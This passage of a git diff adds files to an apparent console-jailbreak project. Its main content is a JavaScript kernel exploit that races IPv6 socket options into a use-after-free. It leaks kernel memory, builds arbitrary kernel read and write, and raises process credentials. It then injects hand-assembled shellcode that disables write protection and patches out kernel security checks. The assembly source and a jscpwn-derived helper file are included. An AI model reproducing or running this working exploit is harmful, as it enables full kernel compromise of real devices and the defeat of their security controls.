valid_pktopts.add32(size_of_valid_pktopts); + const master_main_tclass = size_of_tclass.add32(size_of_size_of_tclass); + const master_thr1_tclass = master_main_tclass.add32(size_of_master_main_tclass); + const master_thr2_tclass = master_thr1_tclass.add32(size_of_master_thr1_tclass); + const spray_tclass = master_thr2_tclass.add32(size_of_master_thr2_tclass); + const taint_tclass = spray_tclass.add32(size_of_spray_tclass); + const tmp_tclass = taint_tclass.add32(size_of_taint_tclass); + const rthdr_buffer = tmp_tclass.add32(size_of_tmp_tclass); + const ptr_size_of_rthdr_buffer = rthdr_buffer.add32(size_of_rthdr_buffer); + const spray_sockets_ptr = ptr_size_of_rthdr_buffer.add32(size_of_ptr_size_of_rthdr_buffer); + const leak_sockets_ptr = spray_sockets_ptr.add32(size_of_spray_socks); + const slave_sockets_ptr = leak_sockets_ptr.add32(size_of_leak_socks); + const spray_socks_tclasses_ptr = slave_sockets_ptr.add32(size_of_slave_socks); + const pktinfo_buffer = spray_socks_tclasses_ptr.add32(size_of_spray_socks_tclasses); + const pktinfo_buffer_len = pktinfo_buffer.add32(size_of_pktinfo_buffer); + const find_slave_buffer = pktinfo_buffer_len.add32(size_of_pktinfo_buffer_len); + const fake_socketops = find_slave_buffer.add32(size_of_find_slave_buffer); + const loop_counter = fake_socketops.add32(size_of_fake_socketops); + const fix_these_sockets_ptr = loop_counter.add32(size_of_loop_counter); + + var overlapped_socket = -1; + var overlapped_socket_idx = -1; + + var slave_socket = -1; + + var leaked_pktopts_address = 0; + + var target_file; + var socketops; + var kernel_base; + + p.write8(valid_pktopts.add32(0x0), 0x14); + p.write4(valid_pktopts.add32(0x8), IPPROTO_IPV6); + p.write4(valid_pktopts.add32(0xC), IPV6_TCLASS); + p.write4(valid_pktopts.add32(0x10), 0x0); + + p.write8(size_of_tclass, 0x4); + p.write8(spray_tclass, SPRAY_TCLASS); + + p.write8(master_main_tclass, 0x0); + p.write8(master_thr1_tclass, 0x0); + p.write8(master_thr2_tclass, 0x0); + + p.write8(taint_tclass, TAINT_CLASS); + p.write8(tmp_tclass, 0x10); + + p.write8(pktinfo_buffer_len, 0x14); + + //create sockets + const master_socket = chain.syscall(97, AF_INET6, SOCK_DGRAM, IPPROTO_UDP).low; + const target_socket = chain.syscall(97, AF_INET6, SOCK_DGRAM, IPPROTO_UDP).low; + const spare_socket = chain.syscall(97, AF_INET6, SOCK_DGRAM, IPPROTO_UDP).low; + + const this_pid = chain.syscall(20).low; + + { + + for (var i = 0; i < NUM_SPRAY_SOCKS; i++) { + chain.fcall(window.syscalls[97], AF_INET6, SOCK_DGRAM, IPPROTO_UDP); + chain.write_result4(spray_sockets_ptr.add32(0x4 * i)); + } + for (var i = 0; i < NUM_LEAK_SOCKS; i++) { + chain.fcall(window.syscalls[97], AF_INET6, SOCK_DGRAM, IPPROTO_UDP); + chain.write_result4(leak_sockets_ptr.add32(0x4 * i)); + } + for (var i = 0; i < NUM_SLAVE_SOCKS; i++) { + chain.fcall(window.syscalls[97], AF_INET6, SOCK_DGRAM, IPPROTO_UDP); + chain.write_result4(slave_sockets_ptr.add32(0x4 * i)); + } + } + chain.run(); + + const spray_sockets = p.array_from_address(spray_sockets_ptr, NUM_SPRAY_SOCKS); + const spray_socks_tclasses = p.array_from_address(spray_socks_tclasses_ptr, NUM_SPRAY_SOCKS); + + const leak_sockets = p.array_from_address(leak_sockets_ptr, NUM_LEAK_SOCKS); + const slave_sockets = p.array_from_address(slave_sockets_ptr, NUM_SLAVE_SOCKS); + + const fix_me = p.array_from_address(fix_these_sockets_ptr, NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS + NUM_SLAVE_SOCKS + 0x2); + + for (var i = 0; i < NUM_SPRAY_SOCKS; i++) { + fix_me[i] = spray_sockets[i]; + } + for (var i = 0; i < NUM_LEAK_SOCKS; i++) { + fix_me[i + NUM_SPRAY_SOCKS] = leak_sockets[i]; + } + for (var i = 0; i < NUM_SLAVE_SOCKS; i++) { + fix_me[i + (NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS)] = slave_sockets[i]; + } + + fix_me[NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS + NUM_SLAVE_SOCKS + 0x0] = master_socket; + fix_me[NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS + NUM_SLAVE_SOCKS + 0x1] = spare_socket; + + for (var i = 0; i < 10; i++) { + p.write8(fake_socketops.add32(i * 0x8), window.gadgets["ret"]); + } + p.write8(fake_socketops.add32(0x50), 1); + + var thr1_start; + var thr1_ctrl; + const thread1 = chain.spawn_thread("thread1", function (new_thr) { + const loop_start = new_thr.get_rsp(); + const trigger_condition = new_thr.create_equal_branch(triggered, 1); + + const triggered_false = new_thr.get_rsp(); + new_thr.syscall_safe(118, master_socket, IPPROTO_IPV6, IPV6_TCLASS, master_thr1_tclass, size_of_tclass); + const overlap_condition = new_thr.create_equal_branch(master_thr1_tclass, SPRAY_TCLASS); + + const overlap_false = new_thr.get_rsp(); + new_thr.syscall_safe(105, master_socket, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, valid_pktopts, size_of_valid_pktopts); + new_thr.push(window.gadgets["pop rdi"]); + var dest_idx = new_thr.pushSymbolic(); + new_thr.push(window.gadgets["pop rsi"]); + var src_idx = new_thr.pushSymbolic(); + new_thr.push(window.gadgets["mov [rdi], rsi"]); + var l1 = new_thr.get_rsp(); + new_thr.push(window.gadgets["pop rsp"]); + var l2 = new_thr.get_rsp(); + new_thr.push(0x43434343); + + new_thr.finalizeSymbolic(dest_idx, l2); + new_thr.finalizeSymbolic(src_idx, l1); + thr1_start = loop_start; + thr1_ctrl = l2; + + const overlap_true = new_thr.get_rsp(); + new_thr.push_write8(triggered, 1); + + const triggered_true = new_thr.get_rsp(); + new_thr.fcall(libKernelBase.add32(OFFSET_lk_pthread_exit), 0); + + new_thr.set_branch_points(trigger_condition, triggered_true, triggered_false); + new_thr.set_branch_points(overlap_condition, overlap_true, overlap_false); + }); + + //boys dont race too fast now, kthx. + var me = chain.call(libKernelBase.add32(OFFSET_lk_pthread_self)); + var prio = p.malloc(0x8); + p.write4(prio, 0x100); + var r = chain.call(libKernelBase.add32(OFFSET_lk_pthread_setschedparam), me, 1, prio); + + const thread3 = new rop(); { + //main loop + const loop_start = thread3.get_rsp(); + //set valid. + thread3.syscall_safe(105, master_socket, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, valid_pktopts, size_of_valid_pktopts); + //make thr1 give it a go + thread3.push_write8(thr1_ctrl, thr1_start); + thread3.syscall_safe(118, master_socket, IPPROTO_IPV6, IPV6_TCLASS, master_thr2_tclass, size_of_tclass); + thread3.syscall_safe(105, master_socket, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); + for (var i = 0; i < NUM_SPRAY_SOCKS; i++) { + thread3.syscall_safe(105, spray_sockets[i], IPPROTO_IPV6, IPV6_TCLASS, spray_tclass, 4); + } + thread3.syscall_safe(118, master_socket, IPPROTO_IPV6, IPV6_TCLASS, master_main_tclass, size_of_tclass); + const overlap_condition = thread3.create_equal_branch(master_main_tclass, SPRAY_TCLASS); + const overlap_false = thread3.get_rsp(); + for (var i = 0; i < NUM_SPRAY_SOCKS; i++) { + thread3.syscall_safe(105, spray_sockets[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); + } + thread3.jmp_rsp(loop_start); + const overlap_true = thread3.get_rsp(); + thread3.push_write8(triggered, 1); + thread3.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_TCLASS, taint_tclass, 4); + for (var i = 0; i < NUM_SPRAY_SOCKS; i++) { + thread3.fcall(syscalls[118], spray_sockets[i], IPPROTO_IPV6, IPV6_TCLASS, spray_socks_tclasses_ptr.add32(0x4 * i), size_of_tclass); + } + //make sure the thread will exit(?) + thread3.push_write8(thr1_ctrl, thr1_start); + thread3.set_branch_points(overlap_condition, overlap_true, overlap_false); + } + //trigger uaf + thread1(); + thread3.run(); + + function find_socket_overlap() { + for (var i = 0; i < NUM_SPRAY_SOCKS; i++) { + if (spray_socks_tclasses[i] == TAINT_CLASS) { + overlapped_socket = spray_sockets[i]; + overlapped_socket_idx = i; + return; + } + } + alert("[ERROR] -> failed to find socket overlap. (should be unreachable)"); + while (1) {}; + } + + function fake_pktopts(pktinfo) { + { + + chain.fcall(libSceLibcInternalBase.add32(OFFSET_libcint_memset), rthdr_buffer, 0x0, 0x100); + chain.push_write8(rthdr_buffer.add32(0x0), 0x0F001E00); + chain.push_write8(rthdr_buffer.add32(PKTOPTS_PKTINFO_OFFSET), pktinfo); + chain.push_write8(loop_counter, 0); + chain.push_write8(tmp_tclass, 0x1); + for (var i = 0; i < NUM_LEAK_SOCKS; i++) { + chain.fcall(syscalls[105], leak_sockets[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); + chain.fcall(syscalls[105], leak_sockets[i], IPPROTO_IPV6, IPV6_TCLASS, tmp_tclass, 4); + } + chain.fcall(window.syscalls[105], overlapped_socket, IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0); + + const loop_start = chain.get_rsp(); + const loop_condition = chain.create_equal_branch(loop_counter, 0x100); + + const loop_condition_false = chain.get_rsp(); + for (var i = 0; i < NUM_LEAK_SOCKS; i++) { + chain.push_write8(rthdr_buffer.add32(PKTOPTS_TCLASS_OFFSET), (TCLASS_MASTER | i)); + chain.syscall_safe(105, leak_sockets[i], IPPROTO_IPV6, IPV6_RTHDR, rthdr_buffer, 0xF8); + } + chain.syscall_safe(118, master_socket, IPPROTO_IPV6, IPV6_TCLASS, tmp_tclass, size_of_tclass); + const overlap_condition = chain.create_greater_or_equal_branch(tmp_tclass, TCLASS_MASTER); + + const overlap_false = chain.get_rsp(); + chain.push(window.gadgets["pop rax"]); + chain.push(loop_counter); + chain.push(window.gadgets["inc dword [rax]"]); + chain.jmp_rsp(loop_start); + + const loop_condition_true = chain.get_rsp(); + const overlap_true = chain.get_rsp(); + + chain.set_branch_points(loop_condition, loop_condition_true, loop_condition_false); + chain.set_branch_points(overlap_condition, overlap_true, overlap_false); + } + chain.run(); + + const tclass = p.read4(tmp_tclass); + if ((tclass & 0xFFFF0000) == TCLASS_MASTER) { + overlapped_socket_idx = (tclass & 0x0000FFFF); + overlapped_socket = leak_sockets[overlapped_socket_idx]; + return; + } + alert("[ERROR] failed to find RTHDR <-> master socket overlap"); + while (1) {}; + + } + + function leak_rthdr_address(size) { + const ip6r_len = ((size >> 3) - 1 & ~1); + const ip6r_segleft = (ip6r_len >> 1); + const header = (ip6r_len << 8) + (ip6r_segleft << 24); { + chain.fcall(libSceLibcInternalBase.add32(OFFSET_libcint_memset), rthdr_buffer, 0x0, size); + chain.push_write8(rthdr_buffer, header); + chain.push_write8(ptr_size_of_rthdr_buffer, size); + chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_RTHDR, rthdr_buffer, ((ip6r_len + 1) << 3)); + chain.fcall(syscalls[118], overlapped_socket, IPPROTO_IPV6, IPV6_RTHDR, rthdr_buffer, ptr_size_of_rthdr_buffer); + } + chain.run(); + const kaddress = p.read8(rthdr_buffer.add32(PKTOPTS_RTHDR_OFFSET)); + return kaddress; + } + + function leak_pktopts() { + leaked_pktopts_address = leak_rthdr_address(0x100); { + chain.push_write8(tmp_tclass, 0x10); + chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_RTHDR, 0, 0); + for (var i = 0; i < NUM_SLAVE_SOCKS; i++) { + chain.fcall(syscalls[105], slave_sockets[i], IPPROTO_IPV6, IPV6_TCLASS, tmp_tclass, 4); + } + } + chain.run(); + } + + function find_slave() { + { + chain.push_write8(pktinfo_buffer, leaked_pktopts_address.add32(PKTOPTS_PKTINFO_OFFSET)); + chain.push_write8(pktinfo_buffer.add32(0x8), 0); + chain.push_write8(pktinfo_buffer.add32(0x10), 0); + chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14); + for (var i = 0; i < NUM_SLAVE_SOCKS; i++) { + chain.fcall(syscalls[118], slave_sockets[i], IPPROTO_IPV6, IPV6_PKTINFO, find_slave_buffer.add32(0x8 * i), pktinfo_buffer_len); + } + } + chain.run(); + + for (var i = 0; i < NUM_SLAVE_SOCKS; i++) { + if (p.read4(find_slave_buffer.add32(0x8 * i)) == (leaked_pktopts_address.add32(PKTOPTS_PKTINFO_OFFSET)).low) { + slave_socket = slave_sockets[i]; + return; + } + } + alert("[ERROR] failed to find slave"); + while (1) {}; + } + + function kernel_read8(address) { + { + chain.push_write8(pktinfo_buffer, address); + chain.push_write8(pktinfo_buffer.add32(0x8), 0); + chain.push_write8(pktinfo_buffer.add32(0x10), 0); + chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14); + chain.fcall(syscalls[118], slave_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, pktinfo_buffer_len) + } + chain.run(); + return p.read8(pktinfo_buffer); + } + + function kernel_write8(address, value) { + { + chain.push_write8(pktinfo_buffer, address); + chain.push_write8(pktinfo_buffer.add32(0x8), 0); + chain.push_write8(pktinfo_buffer.add32(0x10), 0); + chain.fcall(syscalls[105], master_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14); + chain.fcall(syscalls[118], slave_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, pktinfo_buffer_len); + chain.push_write8(pktinfo_buffer, value); + chain.fcall(syscalls[105], slave_socket, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo_buffer, 0x14); + } + chain.run(); + } + + function brute_force_kernel_map() { + var attempt = new int64(((leaked_pktopts_address.low & 0xFE000000) + VM_MAP_PMAP_OFFSET), leaked_pktopts_address.hi); + for (var i = 0; i < 0xC0; i++) { + var kernel_pmap_store = kernel_read8(attempt); + if (kernel_pmap_store.hi == 0xFFFFFFFF && ((kernel_pmap_store.low & 0x3FFF) == (KERNEL_PMAP_STORE_OFFSET & 0x3FFF))) { + kernel_base = kernel_pmap_store.sub32(KERNEL_PMAP_STORE_OFFSET); + if ((kernel_base.low & 0x3FFF) == 0x0) { + return; + } + } + attempt.sub32inplace(0x01000000); + } + alert("[ERROR] failed to find kernel_map"); + while (1) {}; + } + + function find_proc() { + var proc = kernel_read8(kernel_base.add32(KERNEL_ALLPROC_OFFSET)); + while (proc.low != 0) { + var pid = kernel_read8(proc.add32(PROC_PID_OFFSET)); + if (pid.low == this_pid) { + return proc; + } + proc = kernel_read8(proc); + } + alert("[ERROR] failed to find proc"); + while (1) {}; + } + + function find_execution_socket() { + + var filedesc = kernel_read8(proc.add32(PROC_FILEDESC_OFFSET)); + var ofiles = kernel_read8(filedesc); + target_file = kernel_read8(ofiles.add32(0x8 * target_socket)) + socketops = kernel_read8(target_file.add32(FILE_FOPS_OFFSET)); + } + //lower priority + p.write4(prio, 0x1FF); + chain.call(libKernelBase.add32(OFFSET_lk_pthread_setschedparam), me, 1, prio); + //find uaf + find_socket_overlap(); + //play with uaf + fake_pktopts(0); + leak_sockets[overlapped_socket_idx] = spare_socket; + //leak shit + leak_pktopts(); + fake_pktopts(leaked_pktopts_address.add32(PKTOPTS_PKTINFO_OFFSET)); + //find vvictim + find_slave(); + brute_force_kernel_map(); + const proc = find_proc(); + const proc_ucred = kernel_read8(proc.add32(PROC_UCRED_OFFSET)); + kernel_write8(proc_ucred.add32(0x68), new int64(0xFFFFFFFF, 0xFFFFFFFF)); + + find_execution_socket(); + var exec_handle = chain.syscall(533, 0, 0x100000, 7); + var write_handle = chain.syscall(534, exec_handle, 3); + var write_address = chain.syscall(477, new int64(0x91000000, 0x9), 0x100000, 3, 17, write_handle, 0); + var exec_address = chain.syscall(477, new int64(0x90000000, 0x9), 0x100000, 0x5, 1, exec_handle, 0) + chain.syscall(324, 1); + if(exec_address.low != 0x90000000) { + alert("[ERROR] failed to allocate jit memory"); + while(1){}; + } + var exec_writer = p.array_from_address(write_address, 0x4000); + for(var i = 0; i < 0x200; i++) { + exec_writer[i] = 0x90909090; + } + exec_writer[0x200] = 0x37C0C748; + exec_writer[0x201] = 0xC3000013; + if(chain.call(exec_address).low != 0x1337) { + alert("[ERROR] hmm weird"); + while(1){}; + } + + exec_writer[0] = 0x54415355; + exec_writer[1] = 0x1111BB48; + exec_writer[2] = 0x11111111; + exec_writer[3] = 0xBD481111; + exec_writer[4] = 0x22222222; + exec_writer[5] = 0x22222222; + exec_writer[6] = 0xBFE4314D; + exec_writer[7] = 0x000000C0; + exec_writer[8] = 0xBADE8948; + exec_writer[9] = 0x00000002; + exec_writer[10] = 0x8349D5FF; + exec_writer[11] = 0x814901C4; + exec_writer[12] = 0x000500FC; + exec_writer[13] = 0x41E47500; + exec_writer[14] = 0x655D5B5C; + exec_writer[15] = 0x25048B48; + exec_writer[16] = 0x00000000; + exec_writer[17] = 0x08408B48; + exec_writer[18] = 0x48408B48; + exec_writer[19] = 0x48008B48; + exec_writer[20] = 0x333333B9; + exec_writer[21] = 0x33333333; + exec_writer[22] = 0xC7C74833; + exec_writer[23] = 0x000002BE; // num sockets + exec_writer[24] = 0x48F63148; + exec_writer[25] = 0x117DFE39; + exec_writer[26] = 0x48B1148B; + exec_writer[27] = 0x00D004C7; + exec_writer[28] = 0x48000000; + exec_writer[29] = 0xEB01C683; + exec_writer[30] = 0x44BF48EA; + exec_writer[31] = 0x44444444; + exec_writer[32] = 0x48444444; + exec_writer[33] = 0x555555BE; + exec_writer[34] = 0x55555555; + exec_writer[35] = 0x37894855; + exec_writer[36] = 0x6666BF48; + exec_writer[37] = 0x66666666; + exec_writer[38] = 0x200F6666; + exec_writer[39] = 0xFF2548C0; + exec_writer[40] = 0x0FFFFEFF; + exec_writer[41] = 0x87C6C022; + exec_writer[42] = 0x0063A160; + exec_writer[43] = 0xC087C7C3; + exec_writer[44] = 0x480063AC; + exec_writer[45] = 0xC7C3C031; + exec_writer[46] = 0x639F1087; + exec_writer[47] = 0xC0314800; + exec_writer[48] = 0xE087C7C3; + exec_writer[49] = 0x480063A6; + exec_writer[50] = 0xC6C3C031; + exec_writer[51] = 0x67B5C087; + exec_writer[52] = 0xBE480002; + exec_writer[53] = 0x90909090; + exec_writer[54] = 0x8B499090; + exec_writer[55] = 0x08B78948; + exec_writer[56] = 0xC700264C; + exec_writer[57] = 0x087B7087; + exec_writer[58] = 0x0000B800; + exec_writer[59] = 0x9087C700; + exec_writer[60] = 0x00000004; + exec_writer[61] = 0x66000000; + exec_writer[62] = 0x04B987C7; + exec_writer[63] = 0x90900000; + exec_writer[64] = 0xBD87C766; + exec_writer[65] = 0x90000004; + exec_writer[66] = 0x87C76690; + exec_writer[67] = 0x000004C6; + exec_writer[68] = 0x87C6E990; + exec_writer[69] = 0x001D2336; + exec_writer[70] = 0x3987C637; + exec_writer[71] = 0x37001D23; + exec_writer[72] = 0xC187C766; + exec_writer[73] = 0x9000094E; + exec_writer[74] = 0x87C766E9; + exec_writer[75] = 0x0009547B; + exec_writer[76] = 0x87C7E990; + exec_writer[77] = 0x002F2C20; + exec_writer[78] = 0xC3C03148; + exec_writer[79] = 0x7087C748; + exec_writer[80] = 0x02011258; + exec_writer[81] = 0x48000000; + exec_writer[82] = 0xB192B78D; + exec_writer[83] = 0x89480006; + exec_writer[84] = 0x125878B7; + exec_writer[85] = 0x9C87C701; + exec_writer[86] = 0x01011258; + exec_writer[87] = 0x48000000; + exec_writer[88] = 0x0100000D; + exec_writer[89] = 0xC0220F00; + exec_writer[90] = 0x8080B848; + exec_writer[91] = 0x80808080; + exec_writer[92] = 0x90C38080; + + p.write8(write_address.add32(0x6), kernel_base.add32(KERNEL_M_IP6OPT_OFFSET)); + p.write8(write_address.add32(0x10), kernel_base.add32(KERNEL_MALLOC_OFFSET)); + p.write8(write_address.add32(0x51), fix_these_sockets_ptr); + + p.write8(write_address.add32(0x7B), target_file.add32(FILE_FOPS_OFFSET)); + p.write8(write_address.add32(0x85), socketops); + p.write8(write_address.add32(0x92), kernel_base); + + p.write8(fake_socketops.add32(FILEOPS_IOCTL_OFFSET), exec_address); + kernel_write8(target_file.add32(FILE_FOPS_OFFSET), fake_socketops); + chain.syscall(54, target_socket, 0x20001111, 0); + //alert("executed in kernel"); + //p.write8(0, 0); +} +/* + - assemble & take every 4 bytes, byteswap and assign them to exec_writer + - overwrite dynamic stuff after +*/ +/* +//spam malloc, this should not be required anymore +push rbp +push rbx +push r12 + +mov rbx, 0x1111111111111111 +mov rbp, 0x2222222222222222 +xor r12, r12 + +kmalloc_loop: + mov edi, 0xC0 + mov rsi, rbx + mov edx, 2 + call rbp + add r12, 0x1 + cmp r12, 0x500 + jne kmalloc_loop + +pop r12 +pop rbx +pop rbp + +//kill all of our socket file*'s just in case +//get thr pointer +mov rax, qword ptr gs:[0x0] +//get proc pointer +mov rax, qword ptr [rax + 0x8] +//get filedesc pointer +mov rax, qword ptr [rax + 0x48] +//get file pointer pointer +mov rax, qword ptr [rax + 0x0] + +mov rcx, 0x3333333333333333 +mov rdi, 0x2BE +xor rsi, rsi +loop_check: + cmp rsi, rdi + jge end + mov edx, dword ptr [rcx + 0x4 * rsi] + mov qword ptr [rax + rdx * 0x8], 0x0 + add rsi, 0x1 + jmp loop_check + +end: + +//socketops field pointer +mov rdi, 0x4444444444444444 +//original socketops pointer +mov rsi, 0x5555555555555555 +mov qword ptr [rdi], rsi +//kernel base +mov rdi, 0x6666666666666666 + +//disable wp +mov rax, cr0 +and rax, 0xFFFFFFFFFFFEFFFF +mov cr0, rax + +//sysveri just die +mov byte ptr [rdi + 0x63a160], 0xC3 +mov dword ptr [rdi + 0x63acc0], 0xC3C03148 +mov dword ptr [rdi + 0x639f10], 0xC3C03148 +mov dword ptr [rdi + 0x63a6e0], 0xC3C03148 +mov byte ptr [rdi + 0x267b5c0], 0x00 + +//mprotect +mov rsi, 0x8B49909090909090 +mov qword ptr [rdi + 0x264C08], rsi + +//setuid +mov dword ptr [rdi + 0x87B70], 0xB8 + +//syscall everywhere +mov dword ptr [rdi + 0x490], 0x0 +mov word ptr [rdi + 0x4B9], 0x9090 +mov word ptr [rdi + 0x4BD], 0x9090 +mov word ptr [rdi + 0x4C6], 0xE990 + +//rwx mmap +mov byte ptr [rdi + 0x1D2336], 0x37 +mov byte ptr [rdi + 0x1D2339], 0x37 + +//patch load prx +mov word ptr [rdi + 0x94EC1], 0xE990 + +//dlsym +mov word ptr [rdi + 0x9547B], 0xE990 +mov dword ptr [rdi + 0x2F2C20], 0xC3C03148 + +//syscall 11 +mov qword ptr [rdi + 0x1125870], 0x2 +lea rsi, [rdi + 0x6B192] +mov qword ptr [rdi + 0x1125878], rsi +mov dword ptr [rdi + 0x112589C], 0x1 + +//enable wp +or rax, 0x10000 +mov cr0, rax +mov rax, 0x8080808080808080 +ret +*/ + + +//rdi +//rsi +//rdx +//rcx +//r8 +//r9 \ No newline at end of file diff --git a/702L/utils.js b/702L/utils.js new file mode 100644 index 00000000..cfb0e951 --- /dev/null +++ b/702L/utils.js @@ -0,0 +1,121 @@ +function die(msg) { + alert(msg); + undefinedFunction(); +} + +function debug_log(msg) { + let textNode = document.createTextNode(msg); + let node = document.createElement("p").appendChild(textNode); + + document.body.appendChild(node); + document.body.appendChild(document.createElement("br")); +} + +// The following functions are taken from https://github.com/saelo/jscpwn/: +// hex, hexlify, unhexlify, hexdump +// Copyright (c) 2016 Samuel Groß + +// Return the hexadecimal representation of the given byte. +function hex(b) { + return ('0' + b.toString(16)).substr(-2); +} + +// Return the hexadecimal representation of the given byte array. +function hexlify(bytes) { + var res = []; + for (var i = 0; i < bytes.length; i++) + res.push(hex(bytes[i])); + + return res.join(''); +} + +// Return the binary data represented by the given hexdecimal string. +function unhexlify(hexstr) { + if (hexstr.length % 2 == 1) + throw new TypeError("Invalid hex string"); + + var bytes = new Uint8Array(hexstr.length / 2); + for (var i = 0; i < hexstr.length; i += 2) + bytes[i / 2] = parseInt(hexstr.substr(i, 2), 16); + + return bytes; +} + +function hexdump(data) { + if (typeof data.BYTES_PER_ELEMENT !== 'undefined') + data = Array.from(data); + + var lines = []; + for (var i = 0; i < data.length; i += 16) { + var chunk = data.slice(i, i + 16); + var parts = chunk.map(hex); + if (parts.length > 8) + parts.splice(8, 0, ' '); + lines.push("" + i.toString(16) + " : " + parts.join(' ')); + // lines.push(parts.join(' ')); + } + + return lines.join('\n'); +} + +function buf2hex(buffer) { + return Array.prototype.map.call(new Uint8Array(buffer), x => ('00' + x.toString(16)).slice(-2)).join(''); +} + +// Simplified version of the similarly named python module. +var Struct = (function () { + // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. + var buffer = new ArrayBuffer(8); + var byteView = new Uint8Array(buffer); + var uint32View = new Uint32Array(buffer); + var float64View = new Float64Array(buffer); + + return { + pack: function (type, low, high) { + var view = type; + view[0] = low; + /*if (arguments.length == 2) { + view[1] = high; + }*/ + return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); + }, + + unpack: function (type, bytes) { + if (bytes.length !== type.BYTES_PER_ELEMENT) + throw Error("Invalid bytearray"); + + var view = type; // See below + byteView.set(bytes); + return view[0]; + }, + + // Available types. + int8: byteView, + int32: uint32View, + float64: float64View + }; +})(); + +var backingBuffer = new ArrayBuffer(8); +var f = new Float32Array(backingBuffer); +var i = new Uint32Array(backingBuffer); + +function i2f(num) { + i[0] = num; + return f[0]; +} + +function f2i(num) { + f[0] = num; + return i[0]; +} + +function str2array(str, length, offset) { + if (offset === undefined) + offset = 0; + var a = new Array(length); + for (var i = 0; i < length; i++) { + a[i] = str.charCodeAt(i + offset); + } + return a; +} \ No newline at end of file diff --git a/702L/webrte.bin b/702L/webrte.bin new file mode 100644 index 00000000..e329f8c5 Binary files /dev/null and b/702L/webrte.bin differ